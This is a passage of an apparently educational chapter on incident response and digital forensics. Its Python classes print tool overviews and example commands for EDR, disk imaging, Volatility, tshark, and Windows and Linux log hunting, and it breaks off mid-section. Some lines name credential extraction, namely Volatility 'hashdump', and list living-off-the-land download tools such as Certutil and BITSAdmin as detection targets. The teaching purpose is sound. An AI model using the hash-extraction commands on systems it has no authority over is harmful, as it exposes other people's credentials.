Behavioral AnalysisIdentifies suspicious behavior patterns
class EDRConcepts:
    """Endpoint Detection and Response (EDR) concepts"""

    def __init__(self):
        self.edr_tools = {
            "CrowdStrike Falcon": {
                "features": ["Next-gen antivirus", "Threat intelligence", "Incident response"],
                "architecture": "Cloud-native, lightweight agent"
            },
            "Carbon Black": {
                "features": ["Process monitoring", "Behavioral analysis", "Threat hunting"],
                "architecture": "Agent-based, on-premise or cloud"
            },
            "Cortex XDR": {
                "features": ["Cross-layer detection", "Prevention", "Response"],
                "architecture": "Integrated, multi-vector"
            },
            "Microsoft Defender": {
                "features": ["Built-in to Windows", "Cloud protection", "Automated response"],
                "architecture": "Native Windows integration"
            },
            "SentinelOne": {
                "features": ["Autonomous protection", "Rollback", "Static AI"],
                "architecture": "Lightweight agent, cloud management"
            }
        }

    def display_edr(self):
        """Display EDR concepts"""
        print("=== Endpoint Detection and Response (EDR) ===\n")

        print("🎯 EDR Capabilities:")
        print("   - Continuous monitoring")
        print("   - Behavioral analysis")
        print("   - Threat detection")
        print("   - Incident investigation")
        print("   - Automated response")
        print("   - Remediation actions")

        print("\n🔧 Popular EDR Tools:")
        for tool, info in self.edr_tools.items():
            print(f"\n   🔹 {tool}")
            print(f"      Features: {', '.join(info['features'])}")
            print(f"      Architecture: {info['architecture']}")

        print("\n🛡️ EDR Response Actions:")
        print("   - Isolate endpoint from network")
        print("   - Kill malicious processes")
        print("   - Quarantine infected files")
        print("   - Rollback malicious changes")
        print("   - Collect forensic evidence")

# Example
edr = EDRConcepts()
edr.display_edr()

7.2 Incident Response & Forensics

7.2.1 What is Incident Response

Incident Response (IR) is the process of detecting, containing, and recovering from security incidents. It follows a structured methodology to minimize damage and restore normal operations.

The Incident Response Lifecycle (NIST SP 800-61):

PhaseDescriptionActivities
PreparationGetting ready for incidentsDevelop plans, build team, acquire tools
Detection & AnalysisIdentifying incidentsMonitor, triage, validate, escalate
ContainmentStopping the spreadIsolate affected systems
EradicationRemoving the threatRemove malware, patch vulnerabilities
RecoveryRestoring systemsRestore from backups, verify integrity
Post-IncidentLearning and improvingDocument lessons, update procedures

IR Roles:

RoleResponsibilities
Incident CommanderOverall coordination and decision-making
Lead AnalystTechnical investigation and analysis
Communications LeadInternal and external communications
Forensic AnalystEvidence collection and preservation
IT SupportTechnical recovery actions
class IncidentResponse:
    """Incident Response concepts and methodology"""

    def __init__(self):
        self.phases = [
            {"phase": "Preparation", "description": "Develop IR plan, train team, deploy tools"},
            {"phase": "Detection & Analysis", "description": "Monitor systems, identify incidents, triage alerts"},
            {"phase": "Containment", "description": "Short-term (isolate) and long-term containment"},
            {"phase": "Eradication", "description": "Remove threat, patch vulnerabilities"},
            {"phase": "Recovery", "description": "Restore systems, verify functionality"},
            {"phase": "Post-Incident", "description": "Document lessons, improve processes"}
        ]

        self.roles = {
            "Incident Commander": "Overall coordination and decision-making",
            "Lead Analyst": "Technical investigation and analysis",
            "Communications Lead": "Internal and external communications",
            "Forensic Analyst": "Evidence collection and preservation",
            "IT Support": "Technical recovery actions"
        }

    def display_lifecycle(self):
        """Display incident response lifecycle"""
        print("=== Incident Response Lifecycle ===\n")

        print("🔄 NIST SP 800-61 Framework:\n")
        for phase_info in self.phases:
            print(f"🔹 {phase_info['phase']}")
            print(f"   {phase_info['description']}")
            print()

        print("👥 IR Team Roles:")
        for role, description in self.roles.items():
            print(f"   - {role}: {description}")

    def display_playbook(self):
        """Display incident response playbook"""
        print("\n=== Incident Response Playbooks ===\n")

        playbooks = {
            "Ransomware": {
                "step1": "Isolate affected systems",
                "step2": "Identify ransomware variant",
                "step3": "Check for decryptor availability",
                "step4": "Restore from backups",
                "step5": "Patch vulnerabilities"
            },
            "Phishing": {
                "step1": "Identify affected users",
                "step2": "Reset compromised passwords",
                "step3": "Quarantine malicious emails",
                "step4": "Check for malware execution",
                "step5": "Update email security rules"
            },
            "Data Exfiltration": {
                "step1": "Identify data at risk",
                "step2": "Contain the source",
                "step3": "Stop data transfer",
                "step4": "Identify what was taken",
                "step5": "Notify stakeholders"
            }
        }

        for incident_type, steps in playbooks.items():
            print(f"🔴 {incident_type}:")
            for step, action in steps.items():
                print(f"   {step}: {action}")
            print()

# Example
ir = IncidentResponse()
ir.display_lifecycle()
ir.display_playbook()

7.2.2 What is Digital Forensics

Digital Forensics is the discipline of identifying, preserving, extracting, and documenting digital evidence in a manner that maintains its integrity and admissibility in legal proceedings.

Key Concepts:

ConceptDescription
Forensic SoundnessEvidence is collected without altering it
Chain of CustodyDocumentation of evidence handling
Legal AdmissibilityEvidence meets legal standards
Evidence IntegrityEvidence is complete and unmodified

Forensics vs Incident Response:

AspectDigital ForensicsIncident Response
FocusEvidence collection and analysisStopping and recovering from incidents
TimelineCan be slower, methodicalMust be fast, operational
GoalLegal and evidentiaryBusiness continuity
OutputForensic reportIncident report
ApproachSystematic, documentedReactive, operational
class DigitalForensics:
    """Digital Forensics concepts"""

    def __init__(self):
        self.principles = {
            "Integrity": "Evidence must be preserved unchanged",
            "Chain of Custody": "Every handler must be documented",
            "Legal Admissibility": "Evidence must be court-ready",
            "Forensic Soundness": "Methods must be accepted by the community",
            "Impartiality": "Objective analysis without bias"
        }

    def display_principles(self):
        """Display forensic principles"""
        print("=== Digital Forensics Principles ===\n")

        print("📋 Core Principles:")
        for principle, description in self.principles.items():
            print(f"   - {principle}: {description}")

        print("\n🔍 Forensics Disciplines:")
        print("   - Disk Forensics: Hard drives, SSDs")
        print("   - Memory Forensics: RAM analysis")
        print("   - Network Forensics: Traffic analysis")
        print("   - Mobile Forensics: Phone data")
        print("   - Email Forensics: Communications")
        print("   - Cloud Forensics: Cloud services")

        print("\n📋 Legal Considerations:")
        print("   - Search warrants may be required")
        print("   - Chain of custody must be maintained")
        print("   - Evidence must be admissible in court")
        print("   - Privacy and data protection laws apply")

# Example
forensics = DigitalForensics()
forensics.display_principles()

7.2.3 Types of Forensics

Types of Digital Forensics:

TypeFocusExamples
Disk ForensicsStorage devicesHard drives, SSDs, USB drives
Memory ForensicsRAMRunning processes, active connections
Network ForensicsNetwork trafficPacket captures, logs
Mobile ForensicsMobile devicesPhones, tablets, smartwatches
Email ForensicsCommunicationsEmail headers, content, metadata
Cloud ForensicsCloud servicesAWS, Azure, GCP investigations
class ForensicsTypes:
    """Types of digital forensics"""

    def __init__(self):
        self.types = {
            "Disk Forensics": {
                "focus": "Storage devices (HDD, SSD)",
                "techniques": ["Imaging", "File recovery", "Metadata analysis"],
                "tools": ["Autopsy", "FTK", "EnCase"]
            },
            "Memory Forensics": {
                "focus": "RAM (volatile memory)",
                "techniques": ["Memory acquisition", "Process analysis"],
                "tools": ["Volatility", "Rekall", "Magnet RAM Capture"]
            },
            "Network Forensics": {
                "focus": "Network traffic",
                "techniques": ["Packet capture", "Flow analysis"],
                "tools": ["Wireshark", "Tcpdump", "NetworkMiner"]
            },
            "Mobile Forensics": {
                "focus": "Mobile devices",
                "techniques": ["Device extraction", "App analysis"],
                "tools": ["Cellebrite", "XRY", "Magnet AXIOM"]
            },
            "Email Forensics": {
                "focus": "Emails and communications",
                "techniques": ["Header analysis", "Metadata extraction"],
                "tools": ["MailXaminer", "Forensic Email"]
            },
            "Cloud Forensics": {
                "focus": "Cloud services",
                "techniques": ["Log analysis", "API investigation"],
                "tools": ["AWS Forensics", "Azure Forensics"]
            }
        }

    def display_types(self):
        """Display forensic types"""
        print("=== Types of Digital Forensics ===\n")

        for type_name, info in self.types.items():
            print(f"🔹 {type_name}")
            print(f"   Focus: {info['focus']}")
            print(f"   Techniques: {', '.join(info['techniques'])}")
            print(f"   Tools: {', '.join(info['tools'])}")
            print()

# Example
types = ForensicsTypes()
types.display_types()

7.2.4 Principles of Digital Evidence Handling

Chain of Custody: A documented record of every person who has handled a piece of evidence, every location where it has been stored, and every action performed on it from the moment of collection through the conclusion of the investigation.

class EvidenceHandling:
    """Principles of digital evidence handling"""

    def __init__(self):
        self.chain_of_custody = {
            "collection": "Who collected the evidence? When? Where?",
            "transport": "Who transported it? How?",
            "storage": "Where is it stored? Who has access?",
            "analysis": "Who analyzed it? What tools?",
            "return": "Where is it now? Who has custody?"
        }

        self.best_practices = [
            "Use write-blockers during imaging",
            "Generate cryptographic hashes (SHA-256)",
            "Document every action taken",
            "Maintain a secure chain of custody",
            "Work from copies, not originals",
            "Validate tools and methods"
        ]

    def display_guidelines(self):
        """Display evidence handling guidelines"""
        print("=== Digital Evidence Handling Principles ===\n")

        print("📋 Chain of Custody:")
        for stage, description in self.chain_of_custody.items():
            print(f"   {stage.capitalize()}: {description}")

        print("\n🔧 Best Practices:")
        for practice in self.best_practices:
            print(f"   - {practice}")

        print("\n⚠️ Legal Admissibility Requirements:")
        print("   - Evidence must be authentic")
        print("   - Chain of custody must be intact")
        print("   - Methods must be accepted")
        print("   - Analysis must be reproducible")
        print("   - Documentation must be complete")

# Example
evidence = EvidenceHandling()
evidence.display_guidelines()

7.2.5 Setting Up a Forensic Lab Environment

class ForensicLab:
    """Forensic lab setup"""

    def __init__(self):
        self.hardware = {
            "Workstations": "High-end PCs with multiple monitors",
            "Write-Blockers": "Hardware and software write-blockers",
            "Storage": "Secure, encrypted storage",
            "Network": "Isolated network segment",
            "Imaging Tools": "Hardware imagers, specialized devices"
        }

        self.software = {
            "Disk Forensics": ["Autopsy", "FTK", "EnCase", "X-Ways"],
            "Memory Forensics": ["Volatility", "Rekall", "Magnet RAM Capture"],
            "Network Forensics": ["Wireshark", "NetworkMiner", "Xplico"],
            "Mobile Forensics": ["Cellebrite", "Magnet AXIOM", "XRY"],
            "Analysis Tools": ["Hex Editors", "Password Recovery", "Decryption"]
        }

        self.safety_requirements = [
            "Physical security (access control, surveillance)",
            "Environmental controls (temperature, humidity)",
            "Power backup (UPS, generators)",
            "Network isolation (separate VLAN)",
            "Data handling procedures (classification, retention)",
            "Personnel training and certification"
        ]

    def display_lab(self):
        """Display forensic lab requirements"""
        print("=== Forensic Lab Setup ===\n")

        print("🔧 Hardware Requirements:")
        for hardware, description in self.hardware.items():
            print(f"   - {hardware}: {description}")

        print("\n💻 Software Requirements:")
        for category, tools in self.software.items():
            print(f"   - {category}: {', '.join(tools)}")

        print("\n🔒 Safety Requirements:")
        for requirement in self.safety_requirements:
            print(f"   - {requirement}")

        print("\n📋 Validation Requirements:")
        print("   - Validate all tools")
        print("   - Document procedures")
        print("   - Test configurations")
        print("   - Maintain audit logs")

# Example
lab = ForensicLab()
lab.display_lab()

7.3 Digital Forensics Tools

7.3.1 Tool 1: Autopsy (Disk Forensics)

Autopsy is a graphical forensic platform built on The Sleuth Kit. It integrates disk imaging, file system analysis, keyword searching, metadata extraction, file carving, timeline analysis, and reporting into a single interface.

class AutopsyDemo:
    """Autopsy forensic tool demonstration"""

    def __init__(self):
        self.features = {
            "Case Management": "Create and manage forensic cases",
            "Data Sources": "Add disk images, local drives, files",
            "File System Analysis": "Analyze NTFS, FAT, EXT, HFS+",
            "Keyword Search": "Search for specific terms",
            "Timeline Analysis": "View events chronologically",
            "File Carving": "Recover deleted files",
            "Hash Lookup": "Check files against known databases",
            "Reporting": "Generate comprehensive reports"
        }

        self.workflow = [
            "1. Create a new case",
            "2. Add a data source (disk image)",
            "3. Select ingest modules to run",
            "4. Review results",
            "5. Analyze findings",
            "6. Generate report"
        ]

    def display_features(self):
        """Display Autopsy features"""
        print("=== Autopsy Digital Forensics Tool ===\n")

        print("📊 Key Features:")
        for feature, description in self.features.items():
            print(f"   - {feature}: {description}")

        print("\n📋 Workflow:")
        for step in self.workflow:
            print(f"   {step}")

        print("\n💻 Analysis Capabilities:")
        print("   - File system analysis")
        print("   - Deleted file recovery")
        print("   - Metadata extraction")
        print("   - Timeline creation")
        print("   - File carving")
        print("   - Keyword searching")

# Example
autopsy = AutopsyDemo()
autopsy.display_features()

7.3.2 Tool 2: Volatility (Memory Forensics)

Volatility is the leading open-source memory forensics framework. It analyses memory images to extract structured information from the raw binary data.

class VolatilityDemo:
    """Volatility memory forensics tool"""

    def __init__(self):
        self.commands = {
            "info": "Display system information",
            "pslist": "List running processes",
            "pstree": "List processes as tree",
            "netstat": "List network connections",
            "cmdscan": "Display command history",
            "filescan": "Search for files in memory",
            "dlllist": "List loaded DLLs",
            "hivelist": "List registry hives",
            "hashdump": "Extract password hashes"
        }

        self.detection_capabilities = [
            "Process injection detection",
            "Malware detection",
            "Hidden processes",
            "Rootkit detection",
            "Network connections",
            "Registry analysis"
        ]

    def display_commands(self):
        """Display Volatility commands"""
        print("=== Volatility Memory Forensics ===\n")

        print("📊 Key Commands:")
        for command, description in self.commands.items():
            print(f"   - {command}: {description}")

        print("\n🔍 Detection Capabilities:")
        for capability in self.detection_capabilities:
            print(f"   - {capability}")

        print("\n💻 Example Command:")
        print("   volatility -f memory.raw --profile=Win10x64 pslist")

# Example
volatility = VolatilityDemo()
volatility.display_commands()

7.3.3 Tool 3: Wireshark (Network Forensics)

Wireshark captures and analyzes network traffic in real-time. It’s essential for understanding network activity and identifying security issues.

class WiresharkForensics:
    """Wireshark network forensics tool"""

    def __init__(self):
        self.features = {
            "Live Capture": "Capture traffic in real-time",
            "Display Filters": "Filter traffic by protocol, IP, port",
            "Follow Streams": "Reconstruct TCP conversations",
            "Statistics": "Analyze network usage and patterns",
            "Export Objects": "Extract files from HTTP traffic"
        }

        self.analysis_capabilities = [
            "Malware communication detection",
            "Data exfiltration identification",
            "Protocol analysis",
            "Traffic pattern analysis",
            "Suspicious connection detection"
        ]

    def display_features(self):
        """Display Wireshark features"""
        print("=== Wireshark Network Forensics ===\n")

        print("📊 Key Features:")
        for feature, description in self.features.items():
            print(f"   - {feature}: {description}")

        print("\n🔍 Analysis Capabilities:")
        for capability in self.analysis_capabilities:
            print(f"   - {capability}")

        print("\n💻 Useful Filters:")
        print("   http - HTTP traffic")
        print("   dns - DNS queries")
        print("   tcp.port == 80 - TCP port 80 traffic")
        print("   ip.addr == 192.168.1.1 - Traffic to/from IP")
        print("   tcp.flags.syn == 1 - TCP SYN packets")

# Example
wireshark_f = WiresharkForensics()
wireshark_f.display_features()

7.3.4 Threat Hunting (Advanced Thinking)

Threat Hunting is the proactive search for threats that have evaded automated detection. It assumes that an attacker may already be present in the environment and actively searches for evidence of their presence.

class ThreatHunting:
    """Threat hunting concepts"""

    def __init__(self):
        self.hunting_types = {
            "Proactive": "Search for unknown threats",
            "Reactive": "Respond to known incidents",
            "Intelligence-Driven": "Based on threat intelligence",
            "Hypothesis-Driven": "Based on analytical hypotheses"
        }

        self.frameworks = {
            "MITRE ATT&CK": "Tactics, techniques, and procedures",
            "Cyber Kill Chain": "Lockheed Martin's attack lifecycle",
            "Diamond Model": "Adversary, capability, infrastructure, victim"
        }

        self.hunting_techniques = [
            "Living off the land detection",
            "PowerShell abuse detection",
            "WMI abuse detection",
            "Registry persistence detection",
            "Process injection detection"
        ]

    def display_hunting(self):
        """Display threat hunting concepts"""
        print("=== Threat Hunting ===\n")

        print("🎯 Hunting Types:")
        for h_type, description in self.hunting_types.items():
            print(f"   - {h_type}: {description}")

        print("\n📊 Frameworks:")
        for framework, description in self.frameworks.items():
            print(f"   - {framework}: {description}")

        print("\n🔍 Hunting Techniques:")
        for technique in self.hunting_techniques:
            print(f"   - {technique}")

        print("\n📌 Hypothesis Examples:")
        print("   - 'Is there evidence of lateral movement?'")
        print("   - 'Are there signs of credential theft?'")
        print("   - 'Is data being exfiltrated?'")
        print("   - 'Are there signs of persistence?'")

# Example
hunting = ThreatHunting()
hunting.display_hunting()

7.4 Disk Forensics

7.4.1 Forensic Imaging with DD and DC3DD

Forensic Imaging creates a bit-for-bit copy of a storage device, capturing every sector including unallocated space, slack space, and deleted files.

class ForensicImaging:
    """Forensic imaging concepts"""

    def __init__(self):
        self.tools = {
            "dd": "Standard Unix imaging tool",
            "dc3dd": "Enhanced version with hashing",
            "FTK Imager": "Commercial imaging tool",
            "Guymager": "Open-source forensic imager"
        }

        self.image_types = [
            "RAW (DD): Bit-for-bit copy",
            "E01 (EnCase): Compressed, with metadata",
            "AFF (Advanced Forensic Format): Open format",
            "VMDK (Virtual Machine): Virtual disk format"
        ]

    def display_imaging(self):
        """Display forensic imaging concepts"""
        print("=== Forensic Imaging ===\n")

        print("🔧 Imaging Tools:")
        for tool, description in self.tools.items():
            print(f"   - {tool}: {description}")

        print("\n📋 Image Formats:")
        for image_type in self.image_types:
            print(f"   - {image_type}")

        print("\n💻 dd Example:")
        print("   dd if=/dev/sda of=/forensic/image.dd bs=4096 conv=noerror,sync")

        print("\n💻 dc3dd Example:")
        print("   dc3dd if=/dev/sda of=/forensic/image.dd hash=sha256 log=imaging.log")

        print("\n📊 Imaging Best Practices:")
        print("   - Use write-blockers")
        print("   - Generate hashes (SHA-256)")
        print("   - Document the process")
        print("   - Verify the image")

# Example
imaging = ForensicImaging()
imaging.display_imaging()

7.4.2 File System Analysis with The Sleuth Kit

The Sleuth Kit is a collection of command-line forensic tools for analysing disk images.

class SleuthKit:
    """The Sleuth Kit forensic tools"""

    def __init__(self):
        self.tools = {
            "mmls": "Display partition table",
            "fsstat": "Display file system information",
            "fls": "List files (including deleted)",
            "icat": "Recover files by inode",
            "istat": "Display inode information",
            "dcalc": "Show block number",
            "blkcat": "Display block contents",
            "find": "Find files by name"
        }

        self.analysis_steps = [
            "1. Identify partitions: mmls image.dd",
            "2. Get file system info: fsstat image.dd",
            "3. List files: fls -r image.dd",
            "4. Recover files: icat image.dd <inode> > recovered.file"
        ]

    def display_tools(self):
        """Display Sleuth Kit tools"""
        print("=== The Sleuth Kit ===\n")

        print("🔧 Tools:")
        for tool, description in self.tools.items():
            print(f"   - {tool}: {description}")

        print("\n📋 Analysis Workflow:")
        for step in self.analysis_steps:
            print(f"   {step}")

        print("\n💻 NTFS Analysis Example:")
        print("   fls -r -d image.dd | grep -i password")

# Example
tsk = SleuthKit()
tsk.display_tools()

7.4.3 Metadata Extraction with Exiftool

Exiftool extracts metadata from files, revealing information about creation, modification, and authorship.

class ExiftoolDemo:
    """Exiftool metadata extraction"""

    def __init__(self):
        self.metadata_types = {
            "EXIF": "Camera information (photos)",
            "IPTC": "International Press Telecommunications Council",
            "XMP": "Adobe's metadata standard",
            "PDF": "Document metadata (author, creation date)",
            "Office": "Word, Excel, PowerPoint metadata"
        }

    def display_metadata(self):
        """Display metadata extraction concepts"""
        print("=== Exiftool Metadata Extraction ===\n")

        print("📊 Metadata Types:")
        for metadata_type, description in self.metadata_types.items():
            print(f"   - {metadata_type}: {description}")

        print("\n💻 Examples:")
        print("   exiftool image.jpg")
        print("   exiftool -GPSPosition image.jpg")
        print("   exiftool -csv directory/ > metadata.csv")

        print("\n🔍 Forensic Use Cases:")
        print("   - Identify document authors")
        print("   - Track image locations (GPS)")
        print("   - Determine creation dates")
        print("   - Verify file authenticity")

# Example
exiftool = ExiftoolDemo()
exiftool.display_metadata()

7.4.4 Carving Deleted Data with Foremost and Scalpel

File Carving recovers files from unallocated disk space based on file signatures, rather than file system metadata.

class FileCarving:
    """File carving techniques"""

    def __init__(self):
        self.tools = {
            "Foremost": "General-purpose carver",
            "Scalpel": "Configurable carver",
            "PhotoRec": "Media file recovery",
            "Magic Rescue": "Recover by magic bytes"
        }

        self.signatures = {
            "JPEG": "FF D8 FF E0",
            "PNG": "89 50 4E 47 0D 0A 1A 0A",
            "PDF": "25 50 44 46",
            "ZIP": "50 4B 03 04",
            "MP4": "00 00 00 18 66 74 79 70"
        }

    def display_carving(self):
        """Display file carving concepts"""
        print("=== File Carving ===\n")

        print("🔧 Tools:")
        for tool, description in self.tools.items():
            print(f"   - {tool}: {description}")

        print("\n📊 File Signatures:")
        for file_type, signature in self.signatures.items():
            print(f"   - {file_type}: {signature}")

        print("\n💻 Foremost Example:")
        print("   foremost -t jpg,png,pdf -i image.dd -o recovery/")

        print("\n💻 Scalpel Example:")
        print("   scalpel -c scalpel.conf -o recovery/ image.dd")

# Example
carving = FileCarving()
carving.display_carving()

7.5 Memory Forensics

7.5.1 Memory Acquisition

Memory Acquisition captures the contents of RAM before the system is powered off, preserving volatile evidence.

class MemoryAcquisition:
    """Memory acquisition concepts"""

    def __init__(self):
        self.tools = {
            "Windows": ["WinPmem", "DumpIt", "FTK Imager"],
            "Linux": ["LiME", "AVML", "fmem"],
            "macOS": ["OSXPMem", "macOS Memory Capture"]
        }

        self.formats = [
            "RAW: Raw memory dump",
            "Crash Dump: Windows crash dump format",
            "Virtual Machine: VMware, VirtualBox dumps",
            "LiME: Linux Memory Extractor format"
        ]

    def display_acquisition(self):
        """Display memory acquisition concepts"""
        print("=== Memory Acquisition ===\n")

        print("🔧 Tools by Platform:")
        for platform, tools in self.tools.items():
            print(f"   - {platform}: {', '.join(tools)}")

        print("\n📋 Memory Formats:")
        for format_desc in self.formats:
            print(f"   - {format_desc}")

        print("\n💻 LiME Example:")
        print("   insmod lime.ko 'path=/memory.lime format=lime'")

        print("\n💻 WinPmem Example:")
        print("   winpmem_mini_x64_rc2.exe memory.raw")

# Example
mem_acq = MemoryAcquisition()
mem_acq.display_acquisition()

7.5.2 Memory Analysis with Volatility3

class VolatilityAnalysis:
    """Volatility memory analysis"""

    def __init__(self):
        self.plugins = {
            "windows.pslist": "List running processes",
            "windows.pstree": "Process tree view",
            "windows.netstat": "Network connections",
            "windows.cmdline": "Command line arguments",
            "windows.dumpfiles": "Extract files from memory",
            "windows.hashdump": "Extract password hashes",
            "windows.malfind": "Detect injected code",
            "windows.registry": "Registry analysis"
        }

    def display_analysis(self):
        """Display memory analysis concepts"""
        print("=== Volatility Memory Analysis ===\n")

        print("📊 Analysis Plugins:")
        for plugin, description in self.plugins.items():
            print(f"   - {plugin}: {description}")

        print("\n💻 Examples:")
        print("   python vol.py -f memory.raw windows.pslist")
        print("   python vol.py -f memory.raw windows.pstree")
        print("   python vol.py -f memory.raw windows.malfind")

        print("\n🔍 Detection Capabilities:")
        print("   - Process injection detection")
        print("   - Hidden process discovery")
        print("   - Malware detection")
        print("   - Credential extraction")

# Example
vol_analysis = VolatilityAnalysis()
vol_analysis.display_analysis()

7.6 Network Forensics

7.6.1 Capturing Network Evidence with Tcpdump

class TcpdumpDemo:
    """Tcpdump network capture"""

    def __init__(self):
        self.commands = {
            "Basic": "tcpdump -i eth0",
            "Save": "tcpdump -i eth0 -w capture.pcap",
            "Filter": "tcpdump -i eth0 port 80",
            "Host": "tcpdump -i eth0 host 192.168.1.1",
            "Count": "tcpdump -i eth0 -c 100",
            "Verbose": "tcpdump -i eth0 -v"
        }

    def display_commands(self):
        """Display tcpdump commands"""
        print("=== Tcpdump Network Capture ===\n")

        print("📊 Commands:")
        for category, command in self.commands.items():
            print(f"   - {category}: {command}")

        print("\n💻 BPF Filters:")
        print("   tcp - TCP traffic")
        print("   udp - UDP traffic")
        print("   port 80 - Port 80 traffic")
        print("   host 1.2.3.4 - Traffic to/from host")
        print("   src host 1.2.3.4 - Traffic from host")
        print("   dst host 1.2.3.4 - Traffic to host")

# Example
tcpdump = TcpdumpDemo()
tcpdump.display_commands()

7.6.2 Analysing Network Evidence with Wireshark and Tshark

class NetworkAnalysis:
    """Network forensics analysis"""

    def __init__(self):
        self.analysis_techniques = {
            "Flow Analysis": "Track conversations between hosts",
            "Protocol Analysis": "Decode and inspect protocols",
            "Stream Reassembly": "Reconstruct TCP streams",
            "Pattern Detection": "Identify suspicious patterns",
            "Statistics": "Analyze network usage"
        }

        self.tshark_commands = {
            "http_requests": "tshark -r capture.pcap -Y 'http.request'",
            "dns_queries": "tshark -r capture.pcap -Y 'dns.flags.response == 0'",
            "top_ips": "tshark -r capture.pcap -q -z conv,tcp",
            "tls_sni": "tshark -r capture.pcap -Y 'tls.handshake.extensions_server_name'"
        }

    def display_analysis(self):
        """Display network analysis concepts"""
        print("=== Network Forensics Analysis ===\n")

        print("📊 Analysis Techniques:")
        for technique, description in self.analysis_techniques.items():
            print(f"   - {technique}: {description}")

        print("\n💻 Tshark Commands:")
        for command, example in self.tshark_commands.items():
            print(f"   - {command}: {example}")

# Example
net_analysis = NetworkAnalysis()
net_analysis.display_analysis()

7.6.3 Practical Example: Detecting Data Exfiltration

class DataExfiltrationDetection:
    """Detecting data exfiltration in network traffic"""

    def __init__(self):
        self.indicators = {
            "Large Transfers": "Unusual data volumes",
            "Off-Hours": "Activity outside business hours",
            "Unknown IPs": "Traffic to unfamiliar destinations",
            "Unusual Ports": "Traffic on non-standard ports",
            "DNS Tunneling": "DNS queries with long subdomains"
        }

    def display_detection(self):
        """Display data exfiltration detection"""
        print("=== Data Exfiltration Detection ===\n")

        print("🔍 Indicators of Data Exfiltration:")
        for indicator, description in self.indicators.items():
            print(f"   - {indicator}: {description}")

        print("\n💻 Detection Commands:")
        print("   # Find large transfers")
        print("   tshark -r capture.pcap -q -z conv,tcp | sort -rn -k5")
        print("\n   # Find DNS tunneling")
        print("   tshark -r capture.pcap -Y 'dns.flags.response == 0' -T fields -e dns.qry.name | awk 'length($0)>50'")
        print("\n   # Find off-hours traffic")
        print("   tshark -r capture.pcap -Y 'ip.dst == 203.0.113.0/24' -T fields -e frame.time")

        print("\n📌 Detection Steps:")
        print("   1. Establish baseline traffic patterns")
        print("   2. Monitor for deviations")
        print("   3. Investigate anomalies")
        print("   4. Correlate with other data sources")
        print("   5. Take action if exfiltration is confirmed")

# Example
exfil_detection = DataExfiltrationDetection()
exfil_detection.display_detection()

7.7 Log Analysis

7.7.1 Linux Log Analysis

Linux Logs are stored in /var/log/ and provide critical evidence for security investigations.

class LinuxLogAnalysis:
    """Linux log analysis"""

    def __init__(self):
        self.log_files = {
            "/var/log/auth.log": "Authentication logs (Ubuntu/Debian)",
            "/var/log/secure": "Authentication logs (RHEL/CentOS)",
            "/var/log/syslog": "System logs",
            "/var/log/messages": "General system messages",
            "/var/log/kern.log": "Kernel messages",
            "/var/log/dmesg": "Boot messages"
        }

        self.useful_commands = {
            "Failed Logins": "grep 'Failed password' /var/log/auth.log",
            "Successful Logins": "grep 'Accepted' /var/log/auth.log",
            "Sudo Commands": "grep 'sudo' /var/log/auth.log",
            "Web Access": "tail -f /var/log/apache2/access.log",
            "Recent Events": "tail -n 100 /var/log/syslog"
        }

    def display_analysis(self):
        """Display Linux log analysis"""
        print("=== Linux Log Analysis ===\n")

        print("📋 Important Log Files:")
        for log_file, description in self.log_files.items():
            print(f"   - {log_file}: {description}")

        print("\n📊 Useful Commands:")
        for command, description in self.useful_commands.items():
            print(f"   - {command}: {description}")

        print("\n💻 Journalctl Examples:")
        print("   journalctl -u sshd - Logs for SSH service")
        print("   journalctl --since '1 hour ago' - Logs from last hour")
        print("   journalctl -p err - Error messages")

# Example
linux_logs = LinuxLogAnalysis()
linux_logs.display_analysis()

7.7.2 Windows Event Log Analysis

Windows Event Logs record system, security, and application events.

class WindowsEventLogs:
    """Windows Event Log analysis"""

    def __init__(self):
        self.event_ids = {
            "4624": "Successful logon",
            "4625": "Failed logon",
            "4634": "Logoff",
            "4648": "Logon with explicit credentials",
            "4672": "Special privileges assigned",
            "4688": "Process creation",
            "4698": "Scheduled task created",
            "4720": "User account created",
            "4725": "User account disabled",
            "4726": "User account deleted",
            "4732": "Member added to local group",
            "4740": "Account locked out",
            "4768": "Kerberos TGT requested",
            "7045": "New service installed"
        }

        self.powershell_queries = {
            "Failed Logons": "Get-WinEvent -FilterHashtable @{LogName='Security'; Id=4625}",
            "Successful Logons": "Get-WinEvent -FilterHashtable @{LogName='Security'; Id=4624}",
            "Process Creation": "Get-WinEvent -FilterHashtable @{LogName='Security'; Id=4688}"
        }

    def display_analysis(self):
        """Display Windows Event Log analysis"""
        print("=== Windows Event Log Analysis ===\n")

        print("📊 Critical Event IDs:")
        for event_id, description in self.event_ids.items():
            print(f"   - {event_id}: {description}")

        print("\n💻 PowerShell Queries:")
        for query, example in self.powershell_queries.items():
            print(f"   - {query}: {example}")

# Example
windows_logs = WindowsEventLogs()
windows_logs.display_analysis()

7.8 Incident Response Methodology

7.8.1 Threat Hunting

class ThreatHuntingAdvanced:
    """Advanced threat hunting"""

    def __init__(self):
        self.living_off_land = {
            "PowerShell": "Legitimate tool used for malicious purposes",
            "WMI": "Windows Management Instrumentation abuse",
            "Certutil": "Certificate utility used for downloads",
            "BITSAdmin": "Background Intelligent Transfer abuse",
            "Reg.exe": "Registry manipulation"
        }

        self.detection_techniques = [
            "Detect encoded PowerShell commands",
            "Monitor WMI process creation",
            "Track registry persistence",
            "Detect process injection",
            "Analyze network connections"
        ]

    def display_hunting(self):
        """Display threat hunting concepts"""
        print("=== Advanced Threat Hunting ===\n")

        print("🎯 Living Off the Land Techniques:")
        for tool, description in self.living_off_land.items():
            print(f"   - {tool}: {description}")

        print("\n🔍 Detection Techniques:")
        for technique in self.detection_techniques:
            print(f"   - {technique}")

        print("\n💻 Hunting Queries:")
        print("   # PowerShell encoded commands")
        print("   Get-WinEvent -FilterHashtable @{LogName='Security'; Id=4688} | Where-Object {$_.Properties[8].Value -match '-enc|-encoded'}")
        print("   # Registry persistence")
        print("   Get-ItemProperty -Path 'HKLM:\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run'")

# Example
hunting_advanced = ThreatHuntingAdvanced()
hunting_advanced.display_hunting()

7.8.2 Building a Timeline

class TimelineBuilding:
    """Building forensic timelines"""

    def __init__(self):
        self.timeline_tools = {
            "Plaso": "Super timeline creation",
            "log2timeline": "Plaso's main tool",
            "Timesketch": "Timeline visualization",
            "Sleuth Kit": "Timeline from disk images"
        }

    def display_timeline(self):
        """Display timeline building concepts"""
        print("=== Building Forensic Timelines ===\n")

        print("🔧 Timeline Tools:")
        for tool, description in self.timeline_tools.items():
            print(f"   - {tool}: {description}")

        print("\n💻 Plaso Example:")
